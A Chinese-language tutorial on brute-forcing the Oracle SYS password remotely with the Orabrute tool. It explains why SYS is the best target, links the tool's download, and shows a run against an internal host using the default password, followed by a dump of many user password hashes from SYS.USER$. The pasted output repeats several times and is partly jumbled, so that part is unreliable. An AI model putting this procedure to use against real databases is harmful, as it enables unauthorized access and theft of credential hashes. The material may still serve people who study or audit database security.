通過Orabrute暴力破解oracle密碼
1 標(biāo)準(zhǔn)的Oracle 密碼可以由英文字母，數(shù)字，#，下劃線(_)，美元字符($)構(gòu)成，密碼的最大長度為30 字符;Oracle 密碼不能以"$"，"#"，"_"或任何數(shù)字開頭;密碼不能包含"SELECT"，"DELETE"，"CREATE"這類的Oracle/SQL 關(guān)鍵字。
2 Oracle 的弱算法加密機(jī)制：兩個(gè)相同的用戶名和密碼在兩臺(tái)不同的Oracle 數(shù)據(jù)庫機(jī)器中，將具有相同的
哈希值。這些哈希值存儲(chǔ)在SYS.USER$表中。可以通過像DBA_USERS 這類的視圖來訪問。
3 Oracle 默認(rèn)配置下，每個(gè)帳戶如果有10 次的失敗登錄，此帳戶將會(huì)被鎖定。但是SYS 帳戶在Oracle 數(shù)
據(jù)庫中具有最高權(quán)限，能夠做任何事情，包括啟動(dòng)/關(guān)閉Oracle 數(shù)據(jù)庫。即使SYS 被鎖定，也依然能夠訪問
數(shù)據(jù)庫。
由前面的基礎(chǔ)知識(shí)3，可以得知選擇遠(yuǎn)程破解Oracle 的最好帳戶是SYS，因?yàn)榇藥粲肋h(yuǎn)有效。在Oracle10g以前的版本在安裝的時(shí)候并沒有提示修改SYS 的默認(rèn)密碼，Oracle10g 雖然提示修改密碼了，但是并沒有檢查密碼的復(fù)雜性。
可以使用Orabrute 工具來進(jìn)行遠(yuǎn)程破解，在使用這個(gè)工具的時(shí)候，需要系統(tǒng)提前安裝好Sqlplus，該工具的
原理很簡單，就是不停的調(diào)用Sqlplus 然后進(jìn)行登錄驗(yàn)證，帳戶選擇的是SYS，密碼則為password.txt 中的密碼單詞。只要登錄成功，就會(huì)調(diào)用selectpassword.sql 腳本抓取出在SYS.USER$表中的其他用戶的哈希值，然后退出程序。這里有個(gè)注意的地方，當(dāng)?shù)诙芜\(yùn)行Orabrute 的時(shí)候，需要?jiǎng)h除或移動(dòng)同目錄下的前一次運(yùn)行Orabrute 時(shí)生成的thepasswordsarehere.txt 和output.txt 文件。
Orabrute 的下載地址http://www.ngssoftware.com/research/papers/oraclepasswords.zip
Orabrute 的官方文檔http://www.ngssoftware.com/research/papers/oraclepasswords.pdf#p#
Orabrute 的使用方法為：
D:\soft\oracle\Orabrute>orabrute Orabrute v 1.2 by Paul M. Wright and David J. Morgan: orabrute D:\soft\oracle\Orabrute> |
Orabrute 的破解速度比較慢，建議在password.txt開頭加上諸如change_on_install這樣你認(rèn)為可能的密碼。
D:\soft\oracle\Orabrute>orabrute 172.19.111.37 1521 orcl 2000 Orabrute v 1.2 by Paul M. Wright and David J. Morgan: orabrute SYS/change_on_install@172.19.111.37:1521/orcl" as sysdba @selectpassword.sql NAME PASSWORD ------------------------------ ------------------------------ SYS D4C5016086B2DC6A PUBLIC CONNECT RESOURCE DBA SYSTEM D4DF7931AB130E37 SELECT_CATALOG_ROLE EXECUTE_CATALOG_ROLE DELETE_CATALOG_ROLE EXP_FULL_DATABASE IMP_FULL_DATABASE NAME PASSWORD ------------------------------ ------------------------------ OUTLN 4A3BA55E08595C81 RECOVERY_CATALOG_OWNER AQ_ADMINISTRATOR_ROLE AQ_USER_ROLE OEM_MONITOR HS_ADMIN_ROLE TRACESVR F9DA8977092B7B81 WDEVELOPER AURORA$JIS$UTILITY$ 000001501983169 OSE$HTTP$ADMIN 000001198644021 AURORA$ORB$UNAUTHENTICATED -000000728729637 NAME PASSWORD ------------------------------ ------------------------------ TIMESERIES_DEVELOPER TIMESERIES_DBA CTXAPP TOAD 361001117A542AC1 DBSNMP E066D214D5421CCC WACOS 1AD491DE05C669FB UTCORE 9C5CB992189E20D9 NMS 5E9DEFE765774DC1 JAVA_ADMIN JAVA_DEPLOY SCHEDULER_ADMIN NAME PASSWORD ------------------------------ ------------------------------ DIP CE4A36B8E06CA59C QUEST_SL_USER TSMSYS 3DF26A8B17D0F29F OEM_ADVISOR JAVAUSERPRIV JAVAIDPRIV JAVASYSPRIV JAVADEBUGPRIV GATHER_SYSTEM_STATISTICS LOGSTDBY_ADMINISTRATOR GLOBAL_AQ_USER_ROLE GLOBAL NAME PASSWORD ------------------------------ ------------------------------ UTNEW C686642569070067 _NEXT_USER TC_ADMIN_ROLE TC_MGR_ROLE TC_LDR_ROLE 49 rows selected. NAME PASSWORD ------------------------------ ------------------------------ SYS D4C5016086B2DC6A PUBLIC CONNECT RESOURCE DBA SYSTEM D4DF7931AB130E37 SELECT_CATALOG_ROLE EXECUTE_CATALOG_ROLE DELETE_CATALOG_ROLE EXP_FULL_DATABASE IMP_FULL_DATABASE NAME PASSWORD
RECOVERY_CATALOG_OWNER AQ_ADMINISTRATOR_ROLE AQ_USER_ROLE OEM_MONITOR HS_ADMIN_ROLE TRACESVR F9DA8977092B7B81 WDEVELOPER AURORA$JIS$UTILITY$ 000001501983169 OSE$HTTP$ADMIN 000001198644021 AURORA$ORB$UNAUTHENTICATED -000000728729637 NAME PASSWORD ------------------------------ ------------------------------ TIMESERIES_DEVELOPER TIMESERIES_DBA CTXAPP TOAD 361001117A542AC1 DBSNMP E066D214D5421CCC WACOS 1AD491DE05C669FB UTCORE 9C5CB992189E20D9 NMS 5E9DEFE765774DC1 JAVA_ADMIN
NAME PASSWORD
QUEST_SL_USER TSMSYS 3DF26A8B17D0F29F OEM_ADVISOR JAVAUSERPRIV JAVAIDPRIV JAVASYSPRIV JAVADEBUGPRIV GATHER_SYSTEM_STATISTICS LOGSTDBY_ADMINISTRATOR GLOBAL_AQ_USER_ROLE GLOBAL NAME PASSWORD ------------------------------ ------------------------------ UTNEW C686642569070067 _NEXT_USER TC_ADMIN_ROLE TC_MGR_ROLE TC_LDR_ROLE 49 rows selected. NAME PASSWORD ------------------------------ ------------------------------ SYS D4C5016086B2DC6A PUBLIC CONNECT RESOURCE DBA SYSTEM D4DF7931AB130E37 SELECT_CATALOG_ROLE EXECUTE_CATALOG_ROLE DELETE_CATALOG_ROLE EXP_FULL_DATABASE IMP_FULL_DATABASE NAME PASSWORD ------------------------------ ------------------------------ OUTLN 4A3BA55E08595C81 RECOVERY_CATALOG_OWNER AQ_ADMINISTRATOR_ROLE AQ_USER_ROLE OEM_MONITOR HS_ADMIN_ROLE TRACESVR F9DA8977092B7B81 WDEVELOPER AURORA$JIS$UTILITY$ 000001501983169 OSE$HTTP$ADMIN 000001198644021 AURORA$ORB$UNAUTHENTICATED -000000728729637 NAME PASSWORD ------------------------------ ------------------------------ TIMESERIES_DEVELOPER TIMESERIES_DBA CTXAPP TOAD 361001117A542AC1 DBSNMP E066D214D5421CCC WACOS 1AD491DE05C669FB UTCORE 9C5CB992189E20D9 NMS 5E9DEFE765774DC1 JAVA_ADMIN JAVA_DEPLOY SCHEDULER_ADMIN NAME PASSWORD ------------------------------ ------------------------------ DIP CE4A36B8E06CA59C QUEST_SL_USER TSMSYS 3DF26A8B17D0F29F OEM_ADVISOR JAVAUSERPRIV JAVAIDPRIV JAVASYSPRIV JAVADEBUGPRIV GATHER_SYSTEM_STATISTICS LOGSTDBY_ADMINISTRATOR You will need to delete or move thepasswordsare.txt file befor e running again. D:\soft\oracle\Orabrute> |
【編輯推薦】
